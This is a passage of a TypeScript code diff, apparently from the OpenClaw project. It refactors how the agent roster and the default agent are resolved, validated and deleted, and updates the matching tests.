loadPreparedModelCatalogOwnerSnapshot } from "../agents/prepared-model-catalog.js"; import { containsEnvVarReference, resolveConfigEnvVars } from "../config/env-substitution.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import { resolveAgentModelPrimaryValue } from "../config/model-input.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { normalizeAgentId } from "../routing/session-key.js"; import { formatCliCommand } from "./command-format.js"; type TouchedModelRef = { @@ -38,15 +43,6 @@ type ConfigModelRefCheckResult = { errors: string[]; }; -type AgentEntriesConfig = NonNullable["entries"]>; - -function resolveAgentEntries(config: OpenClawConfig): AgentEntriesConfig | undefined { - const entries: unknown = config.agents?.entries; - return entries && typeof entries === "object" && !Array.isArray(entries) - ? (entries as AgentEntriesConfig) - : undefined; -} - function isPathPrefix(prefix: readonly string[], path: readonly string[]): boolean { return prefix.length <= path.length && prefix.every((segment, index) => path[index] === segment); } @@ -102,20 +98,17 @@ function collectTextModelRefs(config: OpenClawConfig): TouchedModelRef[] { model: config.agents?.defaults?.model, path: "agents.defaults.model", }); - const agentEntries = resolveAgentEntries(config); - if (agentEntries) { - for (const [agentId, agent] of Object.entries(agentEntries)) { - if (!agent || typeof agent !== "object" || Array.isArray(agent)) { - continue; - } - refs.push( - ...collectTextModelConfigRefs({ - model: (agent as { model?: unknown }).model, - path: `agents.entries.${agentId}.model`, - agentId, - }), - ); - } + for (const { entry: agent, source } of listAgentEntriesWithSource(config)) { + const agentId = agent.id; + const agentPath = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`; + refs.push( + ...collectTextModelConfigRefs({ + model: agent.model, + path: `${agentPath}.model`, + agentId, + }), + ); } for (const ref of refs) { // Runtime preserves an auth-profile suffix only for configured primaries. Fallback @@ -133,8 +126,8 @@ function collectTextModelRefs(config: OpenClawConfig): TouchedModelRef[] { function modelRefComparisonKey(ref: TouchedModelRef): string { if (ref.agentId) { - const prefix = `agents.entries.${ref.agentId}.`; - const relativePath = ref.path.startsWith(prefix) ? ref.path.slice(prefix.length) : ref.path; + const modelOffset = ref.path.indexOf(".model"); + const relativePath = modelOffset >= 0 ? ref.path.slice(modelOffset + 1) : ref.path; return `agent:${normalizeAgentId(ref.agentId)}:${relativePath}`; } return `path:${ref.path}`; @@ -145,6 +138,12 @@ function collectTouchedTextModelRefs(params: { previousConfig?: OpenClawConfig; touchedPaths: readonly (readonly string[])[]; }): TouchedModelRef[] { + const listedAgentEntries = listAgentEntriesWithSource(params.config); + const agentEntries = listedAgentEntries.map(({ entry }) => entry); + if (agentEntries.filter((entry) => entry.default === true).length !== 1) { + // Draft validation runs before roster schema errors are reported. + return []; + } const defaultPrimaryPath = ["agents", "defaults", "model", "primary"]; const defaultPrimaryTouched = params.touchedPaths.some( (touchedPath) => @@ -158,11 +157,18 @@ function collectTouchedTextModelRefs(params: { const previousRefsByIdentity = previousRefs ? new Map(previousRefs.map((ref) => [modelRefComparisonKey(ref), ref])) : undefined; + const previousDefaultAgentId = params.previousConfig + ? tryResolveDefaultAgentId(params.previousConfig) + : undefined; const defaultPrimaryProviderChanged = defaultPrimaryTouched && (!previousRefs || + previousDefaultAgentId === undefined || resolveDefaultModelForAgent({ cfg: params.config }).provider !== - resolveDefaultModelForAgent({ cfg: params.previousConfig ?? {} }).provider); + resolveDefaultModelForAgent({ + cfg: params.previousConfig!, + agentId: previousDefaultAgentId, + }).provider); const touchedRefs = refs.filter((ref) => { if (ref.fallback && defaultPrimaryProviderChanged) { const previousRef = previousRefsByIdentity?.get(modelRefComparisonKey(ref)); @@ -196,44 +202,16 @@ function collectTouchedTextModelRefs(params: { return previousRef?.value !== ref.value || ownerChanged; }); const defaultRefs = refs.filter((ref) => ref.agentId === undefined); - const agentEntries = resolveAgentEntries(params.config); if (defaultRefs.length === 0) { return touchedRefs; } - if (!agentEntries || Object.keys(agentEntries).length === 0) { - const entriesPath = ["agents", "entries"]; - const entriesTouched = params.touchedPaths.some( - (touchedPath) => - isPathPrefix(touchedPath, entriesPath) || isPathPrefix(entriesPath, touchedPath), - ); - const previousEntries = params.previousConfig - ? resolveAgentEntries(params.previousConfig) - : undefined; - if (!entriesTouched || !previousEntries || Object.keys(previousEntries).length === 0) { - return touchedRefs; - } - const previousDefaultAgentId = resolveDefaultAgentId(params.previousConfig ?? {}); - for (const defaultRef of defaultRefs) { - const sameOwner = normalizeAgentId(previousDefaultAgentId) === DEFAULT_AGENT_ID; - const previouslyInherited = - sameOwner && params.previousConfig - ? defaultRef.fallback - ? resolveAgentModelFallbacksOverride(params.previousConfig, previousDefaultAgentId) === - undefined - : resolveAgentExplicitModelPrimary(params.previousConfig, previousDefaultAgentId) === - undefined - : false; - const alreadySelected = touchedRefs.some( - (ref) => ref.agentId === undefined && ref.path === defaultRef.path, - ); - if (!previouslyInherited && !alreadySelected) { - touchedRefs.push({ ...defaultRef, dependency: true }); - } - } - return touchedRefs; - } - for (const agentId of Object.keys(agentEntries)) { - const agentEntryPath = ["agents", "entries", agentId]; + for (const { entry, source } of listedAgentEntries) { + const agentId = entry.id; + const agentEntryPath = [ + "agents", + source.kind, + source.kind === "entries" ? source.key : String(source.index), + ]; const agentModelPath = [...agentEntryPath, "model"]; const ownershipTouched = params.touchedPaths.some( (touchedPath) => @@ -249,9 +227,9 @@ function collectTouchedTextModelRefs(params: { const inherits = defaultRef.fallback ? resolveAgentModelFallbacksOverride(params.config, agentId) === undefined : resolveAgentExplicitModelPrimary(params.config, agentId) === undefined; - const previousAgentExists = Object.keys( - params.previousConfig ? (resolveAgentEntries(params.previousConfig) ?? {}) : {}, - ).some((entryId) => normalizeAgentId(entryId) === normalizeAgentId(agentId)); + const previousAgentExists = ( + params.previousConfig ? listAgentEntries(params.previousConfig) : [] + ).some((previousEntry) => normalizeAgentId(previousEntry.id) === normalizeAgentId(agentId)); const previouslyInherited = previousAgentExists && params.previousConfig ? defaultRef.fallback @@ -333,8 +311,8 @@ function expandInheritedDefaultRefs( config: OpenClawConfig, refs: TouchedModelRef[], ): TouchedModelRef[] { - const agentEntries = resolveAgentEntries(config); - if (!agentEntries) { + const agentEntries = listAgentEntries(config); + if (agentEntries.filter((entry) => entry.default === true).length !== 1) { return refs; } const defaultAgentId = resolveDefaultAgentId(config); @@ -352,8 +330,8 @@ function expandInheritedDefaultRefs( push(ref); continue; } - const defaultAgentConfigured = Object.keys(agentEntries).some( - (agentId) => normalizeAgentId(agentId) === normalizeAgentId(defaultAgentId), + const defaultAgentConfigured = agentEntries.some( + (entry) => normalizeAgentId(entry.id) === normalizeAgentId(defaultAgentId), ); const defaultAgentInherits = !defaultAgentConfigured || @@ -363,7 +341,7 @@ function expandInheritedDefaultRefs( if (defaultAgentInherits) { push(ref); } - for (const agentId of Object.keys(agentEntries)) { + for (const { id: agentId } of agentEntries) { if (normalizeAgentId(agentId) === normalizeAgentId(defaultAgentId)) { continue; } @@ -415,19 +393,19 @@ async function createRuntimeModelRefResolver(): Promise ])); return async ({ config, ref }) => { - const targetAgentId = ref.agentId ?? agentScope.resolveDefaultAgentId(config); - const agentDir = agentScope.resolveAgentDir(config, targetAgentId); - const workspaceDir = agentScope.resolveAgentWorkspaceDir(config, targetAgentId); const resolvedRef = ref.fallback ? resolveCanonicalFallbackRef(config, ref.value) : resolveCanonicalPrimaryRef(config, ref.value); if (!resolvedRef) { return `Unknown model: ${ref.value}`; } - // CLI backends own model validation; their model ids do not need embedded catalog rows. + // CLI backends validate their own ids and do not require a roster-owned catalog. if (modelSelection.isCliProvider(resolvedRef.provider, config)) { return undefined; } + const targetAgentId = ref.agentId ?? agentScope.resolveDefaultAgentId(config); + const agentDir = agentScope.resolveAgentDir(config, targetAgentId); + const workspaceDir = agentScope.resolveAgentWorkspaceDir(config, targetAgentId); const [modelRuntime, preparedCatalog] = await loadModelModules(); let prepared = preparedByAgent.get(targetAgentId); @@ -485,7 +463,18 @@ export async function checkTouchedTextModelRefs(params: { createModelRefResolver?: () => Promise; redactDependencyValues?: boolean; }): Promise { - const authoredRefs = collectTouchedTextModelRefs(params); + // Config mutation validation sees authored pre-roster objects, unlike normal + // runtime callers. Materialize only the absent-roster compatibility shape; + // explicit empty or malformed rosters must remain visible to schema repair. + const config = hasAgentRosterProperty(params.config) + ? params.config + : (migratePersistedImplicitMainRoster(params.config).config as OpenClawConfig); + const previousConfig = + params.previousConfig && !hasAgentRosterProperty(params.previousConfig) + ? (migratePersistedImplicitMainRoster(params.previousConfig).config as OpenClawConfig) + : params.previousConfig; + const validationParams = { ...params, config, previousConfig }; + const authoredRefs = collectTouchedTextModelRefs(validationParams); const authoredValuesByPath = new Map( collectTextModelRefs(params.config).map((ref) => [ref.path, ref.value]), ); @@ -530,10 +519,17 @@ export async function checkTouchedTextModelRefs(params: { const validationRefsByPath = new Map( collectTextModelRefs(validationConfig).map((ref) => [ref.path, ref]), ); + const validationRosterConfig = hasAgentRosterProperty(validationConfig) + ? validationConfig + : (migratePersistedImplicitMainRoster(validationConfig).config as OpenClawConfig); + const validationPreviousRosterConfig = + validationPreviousConfig && !hasAgentRosterProperty(validationPreviousConfig) + ? (migratePersistedImplicitMainRoster(validationPreviousConfig).config as OpenClawConfig) + : validationPreviousConfig; const refsByKey = new Map( collectTouchedTextModelRefs({ - config: validationConfig, - previousConfig: validationPreviousConfig, + config: validationRosterConfig, + previousConfig: validationPreviousRosterConfig, touchedPaths: params.touchedPaths, }).map((ref) => [modelRefComparisonKey(ref), ref]), ); @@ -555,7 +551,7 @@ export async function checkTouchedTextModelRefs(params: { ...(authoredRef.dependency || expandedRef?.dependency ? { dependency: true } : {}), }); } - const refs = expandInheritedDefaultRefs(validationConfig, [...refsByKey.values()]); + const refs = expandInheritedDefaultRefs(validationRosterConfig, [...refsByKey.values()]); if (refs.length === 0) { return { refsChecked: 0, refsTotal: 0, errors: [] }; } diff --git a/src/cli/exec-approvals-cli.test.ts b/src/cli/exec-approvals-cli.test.ts index e9f13fdb6ee5..f9af49aa9ea0 100644 --- a/src/cli/exec-approvals-cli.test.ts +++ b/src/cli/exec-approvals-cli.test.ts @@ -786,7 +786,7 @@ describe("exec approvals CLI", () => { }, }, agents: { - list: [{ id: "runner" }], + list: [{ id: "main", default: true }, { id: "runner" }], }, }); diff --git a/src/commands/agents.add.test.ts b/src/commands/agents.add.test.ts index 1a15e24aad95..f11ff3008983 100644 --- a/src/commands/agents.add.test.ts +++ b/src/commands/agents.add.test.ts @@ -275,8 +275,8 @@ describe("agents add command", () => { it("uses the explicit agent target and skips catalog validation", async () => { readConfigFileSnapshotMock.mockResolvedValue({ ...baseConfigSnapshot, - config: { agents: { entries: {} } }, - sourceConfig: { agents: { entries: {} } }, + config: { agents: { list: [{ id: "main", default: true }] } }, + sourceConfig: { agents: { list: [{ id: "main", default: true }] } }, }); wizardMocks.createClackPrompter.mockReturnValue({ intro: vi.fn(), @@ -470,8 +470,8 @@ describe("agents add command", () => { it("delegates creation to the canonical service", async () => { readConfigFileSnapshotMock.mockResolvedValue({ ...baseConfigSnapshot, - config: { agents: { list: [] } }, - sourceConfig: { agents: { list: [] } }, + config: { agents: { list: [{ id: "main", default: true }] } }, + sourceConfig: { agents: { list: [{ id: "main", default: true }] } }, }); await agentsAddCommand({ name: "Work", workspace: "/tmp/work" }, runtime, { @@ -491,8 +491,8 @@ describe("agents add command", () => { it("reports a duplicate rejected by the canonical service", async () => { readConfigFileSnapshotMock.mockResolvedValue({ ...baseConfigSnapshot, - config: { agents: { list: [] } }, - sourceConfig: { agents: { list: [] } }, + config: { agents: { list: [{ id: "main", default: true }] } }, + sourceConfig: { agents: { list: [{ id: "main", default: true }] } }, }); createAgentMock.mockResolvedValueOnce({ status: "error", @@ -515,18 +515,18 @@ describe("agents add command", () => { .mockResolvedValueOnce({ ...baseConfigSnapshot, hash: "hash-1", - config: { agents: { list: [] } }, - sourceConfig: { agents: { list: [] } }, + config: { agents: { list: [{ id: "main", default: true }] } }, + sourceConfig: { agents: { list: [{ id: "main", default: true }] } }, }) .mockResolvedValueOnce({ ...baseConfigSnapshot, hash: "hash-2", config: { - agents: { list: [{ id: "other-agent" }] }, + agents: { list: [{ id: "other-agent", default: true }] }, bindings: [{ type: "route", agentId: "other-agent", match: { channel: "telegram" } }], }, sourceConfig: { - agents: { list: [{ id: "other-agent" }] }, + agents: { list: [{ id: "other-agent", default: true }] }, bindings: [{ type: "route", agentId: "other-agent", match: { channel: "telegram" } }], }, }); diff --git a/src/commands/agents.commands.add.ts b/src/commands/agents.commands.add.ts index dcdc7318acd7..5c503222dfc6 100644 --- a/src/commands/agents.commands.add.ts +++ b/src/commands/agents.commands.add.ts @@ -24,7 +24,7 @@ import { commitConfigWithPendingPluginInstalls, transformConfigWithPendingPluginInstalls, } from "../plugins/install-record-commit.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { type RuntimeEnv, writeRuntimeJson } from "../runtime.js"; import { defaultRuntime } from "../runtime.js"; import { isReservedSystemAgentId } from "../system-agent/agent-id.js"; @@ -205,7 +205,7 @@ export async function agentsAddCommand( return "Required"; } const normalized = normalizeAgentId(value); - if (normalized === DEFAULT_AGENT_ID || isReservedSystemAgentId(normalized)) { + if (normalized === LEGACY_IMPLICIT_AGENT_ID || isReservedSystemAgentId(normalized)) { return `"${normalized}" is reserved. Choose another name.`; } return undefined; @@ -214,7 +214,7 @@ export async function agentsAddCommand( const agentName = normalizeOptionalString(name) ?? ""; const agentId = normalizeAgentId(agentName); - if (agentId === DEFAULT_AGENT_ID || isReservedSystemAgentId(agentId)) { + if (agentId === LEGACY_IMPLICIT_AGENT_ID || isReservedSystemAgentId(agentId)) { await prompter.outro(`"${agentId}" is reserved. Choose another name.`); return; } @@ -259,7 +259,7 @@ export async function agentsAddCommand( const sourceAgentDir = resolveAgentDir(cfg, defaultAgentId); const sourceAuthPath = resolveAuthStorePath(sourceAgentDir); const destAuthPath = resolveAuthStorePath(agentDir); - const mainAuthPath = resolveAuthStorePath(undefined); + const mainAuthPath = resolveAuthStorePath(); const sameAuthPath = normalizeLowercaseStringOrEmpty(path.resolve(sourceAuthPath)) === normalizeLowercaseStringOrEmpty(path.resolve(destAuthPath)); diff --git a/src/commands/agents.commands.delete.ts b/src/commands/agents.commands.delete.ts index 9dccf6595e94..6a699142a267 100644 --- a/src/commands/agents.commands.delete.ts +++ b/src/commands/agents.commands.delete.ts @@ -1,6 +1,10 @@ // Implements agent deletion with gateway delegation and local cleanup fallback. import { findOverlappingWorkspaceAgentIds } from "../agents/agent-delete-safety.js"; -import { resolveAgentDir, resolveAgentWorkspaceDir } from "../agents/agent-scope.js"; +import { + resolveAgentDir, + resolveAgentWorkspaceDir, + resolveDefaultAgentId, +} from "../agents/agent-scope.js"; import { prepareLegacyWorkspaceStateReset, removeLegacyWorkspaceStateForReset, @@ -21,7 +25,7 @@ import { isGatewayCredentialsRequiredError, isGatewayTransportError, } from "../gateway/call.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { type RuntimeEnv, writeRuntimeJson } from "../runtime.js"; import { defaultRuntime } from "../runtime.js"; import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES } from "../utils/message-channel.js"; @@ -92,12 +96,13 @@ export async function agentsDeleteCommand( if (agentId !== input) { runtime.log(`Normalized agent id to "${agentId}".`); } - if (agentId === DEFAULT_AGENT_ID) { - runtime.error(`"${DEFAULT_AGENT_ID}" cannot be deleted.`); + // agents/main/agent also owns the shipped shared legacy auth store. + // Keep main undeletable until named agents make auth-store ownership explicit. + if (agentId === LEGACY_IMPLICIT_AGENT_ID) { + runtime.error(`"${LEGACY_IMPLICIT_AGENT_ID}" cannot be deleted.`); runtime.exit(1); return; } - if (findAgentEntryIndex(listAgentEntries(cfg), agentId) < 0) { runtime.error( `Agent "${agentId}" not found. Run ${formatCliCommand("openclaw agents list")} to see configured agents.`, @@ -105,6 +110,13 @@ export async function agentsDeleteCommand( runtime.exit(1); return; } + if (agentId === resolveDefaultAgentId(cfg)) { + runtime.error( + `Agent "${agentId}" is the default and cannot be deleted. Reassign default first.`, + ); + runtime.exit(1); + return; + } if (!opts.force) { if (!process.stdin.isTTY) { diff --git a/src/commands/agents.commands.identity.ts b/src/commands/agents.commands.identity.ts index a40283dc8e89..445f50d3bf45 100644 --- a/src/commands/agents.commands.identity.ts +++ b/src/commands/agents.commands.identity.ts @@ -10,8 +10,10 @@ import { import { loadAgentIdentityFromFile } from "../agents/identity-file.js"; import { DEFAULT_IDENTITY_FILENAME } from "../agents/workspace.js"; import { replaceConfigFile } from "../config/config.js"; +import { migratePersistedImplicitMainRoster } from "../config/legacy.roster.js"; import { logConfigUpdated } from "../config/logging.js"; import type { AgentConfig, IdentityConfig } from "../config/types.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeAgentId } from "../routing/session-key.js"; import { type RuntimeEnv, writeRuntimeJson } from "../runtime.js"; import { defaultRuntime } from "../runtime.js"; @@ -62,7 +64,9 @@ export async function agentsSetIdentityCommand( if (!configSnapshot) { return; } - const cfg = configSnapshot.sourceConfig ?? configSnapshot.config; + const cfg = migratePersistedImplicitMainRoster( + configSnapshot.sourceConfig ?? configSnapshot.config, + ).config as OpenClawConfig; const baseHash = configSnapshot.hash; const agentRaw = normalizeOptionalString(opts.agent); diff --git a/src/commands/agents.config.ts b/src/commands/agents.config.ts index c6eff6519bf0..e7e5a62c0de2 100644 --- a/src/commands/agents.config.ts +++ b/src/commands/agents.config.ts @@ -9,6 +9,7 @@ import { resolveAgentDir, resolveAgentWorkspaceDir, resolveDefaultAgentId, + toAgentEntriesRecord, } from "../agents/agent-scope.js"; import { resolveAgentAvatarUrlFromSource } from "../agents/identity-avatar-file.js"; import type { AgentIdentityFile } from "../agents/identity-file.js"; @@ -37,15 +38,6 @@ export type AgentSummary = { type AgentEntry = NonNullable["list"]>[number]; -function toAgentEntries(list: AgentEntry[]): Record> { - return Object.fromEntries( - list.map((entry) => { - const { id, ...config } = entry; - return [id, config]; - }), - ); -} - export type AgentIdentity = AgentIdentityFile; export { listAgentEntries }; @@ -130,7 +122,7 @@ export function buildAgentSummaries(cfg: OpenClawConfig): AgentSummary[] { }); } -/** Add or update one agent entry while preserving the default-agent placeholder when needed. */ +/** Add or update one agent entry. The first roster entry becomes the explicit default. */ export function applyAgentConfig( cfg: OpenClawConfig, params: { @@ -146,7 +138,10 @@ export function applyAgentConfig( const name = params.name?.trim(); const list = listAgentEntries(cfg); const index = findAgentEntryIndex(list, agentId); - const base = (index >= 0 ? list[index] : undefined) ?? { id: agentId }; + const base = (index >= 0 ? list[index] : undefined) ?? { + id: agentId, + ...(list.length === 0 ? { default: true } : {}), + }; const mergedIdentity = params.identity ? { ...base.identity, ...params.identity } : undefined; const nextEntry: AgentEntry = { ...base, @@ -165,16 +160,14 @@ export function applyAgentConfig( if (index >= 0) { nextList[index] = nextEntry; } else { - if (nextList.length === 0 && agentId !== normalizeAgentId(resolveDefaultAgentId(cfg))) { - nextList.push({ id: resolveDefaultAgentId(cfg) }); - } nextList.push(nextEntry); } + const { list: _legacyList, ...agentsConfig } = cfg.agents ?? {}; return { ...cfg, agents: { - ...cfg.agents, - entries: toAgentEntries(nextList), + ...agentsConfig, + entries: toAgentEntriesRecord(nextList), }, }; } @@ -212,7 +205,7 @@ export function pruneAgentConfig( : entry, ); } - const nextAgents = nextAgentsList.length > 0 ? toAgentEntries(nextAgentsList) : undefined; + const nextAgents = nextAgentsList.length > 0 ? toAgentEntriesRecord(nextAgentsList) : undefined; const bindings = cfg.bindings ?? []; const filteredBindings = bindings.filter((binding) => normalizeAgentId(binding.agentId) !== id); @@ -229,8 +222,9 @@ export function pruneAgentConfig( }, } : cfg.agents?.defaults; + const { list: _legacyList, ...agentsConfig } = cfg.agents ?? {}; const nextAgentsConfig = cfg.agents - ? { ...cfg.agents, defaults: nextDefaults, entries: nextAgents } + ? { ...agentsConfig, defaults: nextDefaults, entries: nextAgents } : nextAgents ? { entries: nextAgents } : undefined; diff --git a/src/commands/agents.delete.test.ts b/src/commands/agents.delete.test.ts index 226d0ef1b2f0..75d7cd26e704 100644 --- a/src/commands/agents.delete.test.ts +++ b/src/commands/agents.delete.test.ts @@ -2,7 +2,11 @@ import fs from "node:fs/promises"; import path from "node:path"; import { beforeEach, describe, expect, it, vi } from "vitest"; -import { resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentEntries, + resolveDefaultAgentId, + toAgentEntriesRecord, +} from "../agents/agent-scope-config.js"; import { resolveStorePath } from "../config/sessions.js"; import type { SessionEntry } from "../config/sessions.js"; import { listSessionEntries, replaceSessionEntry } from "../config/sessions/session-accessor.js"; @@ -74,40 +78,28 @@ function resolveFixtureStoreAgentId(cfg: OpenClawConfig, deletedAgentId: string) return deletedAgentId; } -function canonicalizeAgentEntriesForTest(cfg: OpenClawConfig): OpenClawConfig { - const list = (cfg.agents as { list?: Array> } | undefined)?.list; - if (!Array.isArray(list)) { - return cfg; - } - const { list: _list, ...agents } = cfg.agents as NonNullable & { - list?: unknown; - }; - return { - ...cfg, - agents: { - ...agents, - entries: Object.fromEntries( - list.flatMap((entry) => { - const id = typeof entry.id === "string" ? entry.id : ""; - if (!id) { - return []; - } - const { id: _id, ...value } = entry; - return [[id, value]]; - }), - ), - }, - }; -} - async function arrangeAgentsDeleteTest(params: { stateDir: string; cfg: OpenClawConfig; deletedAgentId?: string; sessions: Record; }) { - const cfg = canonicalizeAgentEntriesForTest(params.cfg); const deletedAgentId = params.deletedAgentId ?? "ops"; + const authored = structuredClone(params.cfg); + const roster = listAgentEntries(authored); + if (!roster.some((entry) => entry.default === true)) { + const existingDefault = roster.find((entry) => entry.id !== deletedAgentId); + if (existingDefault) { + existingDefault.default = true; + } else { + roster.unshift({ id: "main", default: true }); + } + } + const { list: _legacyList, ...agents } = authored.agents ?? {}; + const cfg: OpenClawConfig = { + ...authored, + agents: { ...agents, entries: toAgentEntriesRecord(roster) }, + }; const storeAgentId = resolveFixtureStoreAgentId(cfg, deletedAgentId); const storePath = resolveStorePath(cfg.session?.store, { agentId: deletedAgentId }); for (const [sessionKey, entry] of Object.entries(params.sessions)) { @@ -188,14 +180,14 @@ describe("agents delete command", () => { runtime.exit.mockClear(); }); - it("routes deletion through the Gateway when reachable", async () => { + it("refuses deleting main even when another agent is default", async () => { await withStateDirEnv("openclaw-agents-delete-gateway-", async ({ stateDir }) => { const now = Date.now(); const cfg: OpenClawConfig = { agents: { list: [ { id: "main", workspace: path.join(stateDir, "workspace-main") }, - { id: "ops", workspace: path.join(stateDir, "workspace-ops") }, + { id: "ops", default: true, workspace: path.join(stateDir, "workspace-ops") }, ], }, } satisfies OpenClawConfig; @@ -206,36 +198,16 @@ describe("agents delete command", () => { const storePath = await arrangeAgentsDeleteTest({ stateDir, cfg, - deletedAgentId: "ops", + deletedAgentId: "main", sessions, }); - gatewayMocks.callGateway.mockResolvedValue({ - ok: true, - agentId: "ops", - removedBindings: 0, - removed: [{ path: path.join(stateDir, "agents", "ops", "agent"), method: "trash" }], - failed: [{ path: path.join(stateDir, "workspace-ops"), reason: "trash unavailable" }], - }); + await agentsDeleteCommand({ id: "main", force: true, json: true }, runtime); - await agentsDeleteCommand({ id: "ops", force: true, json: true }, runtime); - - expect(gatewayMocks.callGateway).toHaveBeenCalledOnce(); - const gatewayCall = gatewayMocks.callGateway.mock.calls[0]?.[0]; - expect(gatewayCall?.method).toBe("agents.delete"); - expect(gatewayCall?.params).toEqual({ agentId: "ops", deleteFiles: true }); - expect(gatewayCall?.requiredMethods).toEqual(["agents.delete"]); + expect(gatewayMocks.callGateway).not.toHaveBeenCalled(); expect(configMocks.replaceConfigFile).not.toHaveBeenCalled(); - expectSessionStore(storePath, sessions); - const output = readJsonLogs()[0]; - expect(output?.agentId).toBe("ops"); - expect(output?.removedBindings).toBe(0); - expect(output?.removed).toEqual([ - { path: path.join(stateDir, "agents", "ops", "agent"), method: "trash" }, - ]); - expect(output?.failed).toEqual([ - { path: path.join(stateDir, "workspace-ops"), reason: "trash unavailable" }, - ]); - expect(output?.transport).toBe("gateway"); + expect(runtime.error).toHaveBeenCalledWith('"main" cannot be deleted.'); + expect(runtime.exit).toHaveBeenCalledWith(1); + expectSessionStore(storePath, sessions, "main"); }); }); @@ -339,7 +311,9 @@ describe("agents delete command", () => { expect(replaceConfigFileCalls[0]?.[0].nextConfig).toEqual({ agents: { defaults: undefined, - entries: { main: { workspace: path.join(stateDir, "workspace-main") } }, + entries: { + main: { default: true, workspace: path.join(stateDir, "workspace-main") }, + }, }, bindings: undefined, tools: undefined, @@ -408,7 +382,7 @@ describe("agents delete command", () => { }); }); - it("purges legacy main-alias entries owned by the deleted default agent", async () => { + it("refuses deleting the configured default until it is reassigned", async () => { await withStateDirEnv("openclaw-agents-delete-main-alias-", async ({ stateDir }) => { const now = Date.now(); const cfg: OpenClawConfig = { @@ -432,8 +406,13 @@ describe("agents delete command", () => { await agentsDeleteCommand({ id: "ops", force: true, json: true }, runtime); - expect(runtime.exit).not.toHaveBeenCalled(); + expect(runtime.error).toHaveBeenCalledWith( + 'Agent "ops" is the default and cannot be deleted. Reassign default first.', + ); + expect(runtime.exit).toHaveBeenCalledWith(1); expectSessionStore(storePath, { + "agent:main:main": { sessionId: "sess-default-alias", updatedAt: now + 1 }, + "agent:ops:quietchat:direct:u1": { sessionId: "sess-ops-direct", updatedAt: now + 2 }, "agent:main:quietchat:direct:u2": { sessionId: "sess-stale-main", updatedAt: now + 3, diff --git a/src/commands/agents.test.ts b/src/commands/agents.test.ts index 9d614ac22220..1e3e5b9e3877 100644 --- a/src/commands/agents.test.ts +++ b/src/commands/agents.test.ts @@ -106,11 +106,19 @@ describe("agents helpers", () => { expect(work?.model).toBe("anthropic/claude"); }); + it("applyAgentConfig marks the first roster entry as default", () => { + const next = applyAgentConfig({}, { agentId: "work", name: "Work" }); + + expect(next.agents?.entries).toEqual({ work: { name: "Work", default: true } }); + }); + it("applyAgentConfig clears a model override", () => { const cfg: OpenClawConfig = { agents: { defaults: { model: { primary: "openai/gpt-5.6-luna" } }, - entries: { work: { workspace: "/work-ws", model: "anthropic/claude" } }, + entries: { + work: { default: true, workspace: "/work-ws", model: "anthropic/claude" }, + }, }, }; diff --git a/src/commands/doctor-auth.profile-health.test.ts b/src/commands/doctor-auth.profile-health.test.ts index 3793726f0ef4..e2d35dab2326 100644 --- a/src/commands/doctor-auth.profile-health.test.ts +++ b/src/commands/doctor-auth.profile-health.test.ts @@ -369,7 +369,10 @@ describe("noteAuthProfileHealth", () => { }); it("skips external auth profile resolution when no auth source exists", async () => { await noteAuthProfileHealth({ - cfg: { channels: { telegram: { enabled: true } } } as OpenClawConfig, + cfg: { + agents: { entries: { main: { default: true } } }, + channels: { telegram: { enabled: true } }, + } as OpenClawConfig, prompter: {} as DoctorPrompter, allowKeychainPrompt: false, }); diff --git a/src/commands/doctor-auth.ts b/src/commands/doctor-auth.ts index 4722c01ab506..ee3d7caee9fd 100644 --- a/src/commands/doctor-auth.ts +++ b/src/commands/doctor-auth.ts @@ -5,7 +5,7 @@ import { listAgentIds, resolveAgentDir, resolveDefaultAgentDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { buildAuthHealthSummary, @@ -175,7 +175,7 @@ function formatAgentNoteTitle(title: string, agentId: string, labelAgents: boole } function listAuthProfileHealthTargets(cfg: OpenClawConfig): AuthProfileHealthTarget[] { - const defaultAgentId = resolveDefaultAgentId(cfg); + const defaultAgentId = tryResolveDefaultAgentId(cfg); const targets = new Map(); const addTarget = (agentId: string, agentDir: string, isDefault: boolean) => { const key = path.resolve(agentDir); @@ -185,7 +185,9 @@ function listAuthProfileHealthTargets(cfg: OpenClawConfig): AuthProfileHealthTar } }; - addTarget(defaultAgentId, resolveDefaultAgentDir(cfg), true); + if (defaultAgentId) { + addTarget(defaultAgentId, resolveDefaultAgentDir(cfg), true); + } for (const agentId of listAgentIds(cfg)) { if (agentId === defaultAgentId) { continue; diff --git a/src/commands/doctor-bootstrap-size.test.ts b/src/commands/doctor-bootstrap-size.test.ts index 669e84d19946..0930dc99d9d9 100644 --- a/src/commands/doctor-bootstrap-size.test.ts +++ b/src/commands/doctor-bootstrap-size.test.ts @@ -19,7 +19,7 @@ vi.mock("../../packages/terminal-core/src/note.js", () => ({ vi.mock("../agents/agent-scope.js", () => ({ listAgentIds, resolveAgentWorkspaceDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId: resolveDefaultAgentId, })); vi.mock("../agents/bootstrap-files.js", () => ({ diff --git a/src/commands/doctor-bootstrap-size.ts b/src/commands/doctor-bootstrap-size.ts index de481eb2f5fc..aab73ea2a1c9 100644 --- a/src/commands/doctor-bootstrap-size.ts +++ b/src/commands/doctor-bootstrap-size.ts @@ -3,7 +3,7 @@ import { note } from "../../packages/terminal-core/src/note.js"; import { listAgentIds, resolveAgentWorkspaceDir, - resolveDefaultAgentId, + tryResolveDefaultAgentId, } from "../agents/agent-scope.js"; import { buildBootstrapInjectionStats, @@ -41,7 +41,7 @@ function formatCauses(causes: Array<"per-file-limit" | "total-limit">): string { * Returns the raw budget analysis for tests and callers that need structured evidence. */ export async function noteBootstrapFileSize(cfg: OpenClawConfig) { - const defaultAgentId = resolveDefaultAgentId(cfg); + const defaultAgentId = tryResolveDefaultAgentId(cfg); const agentIds = 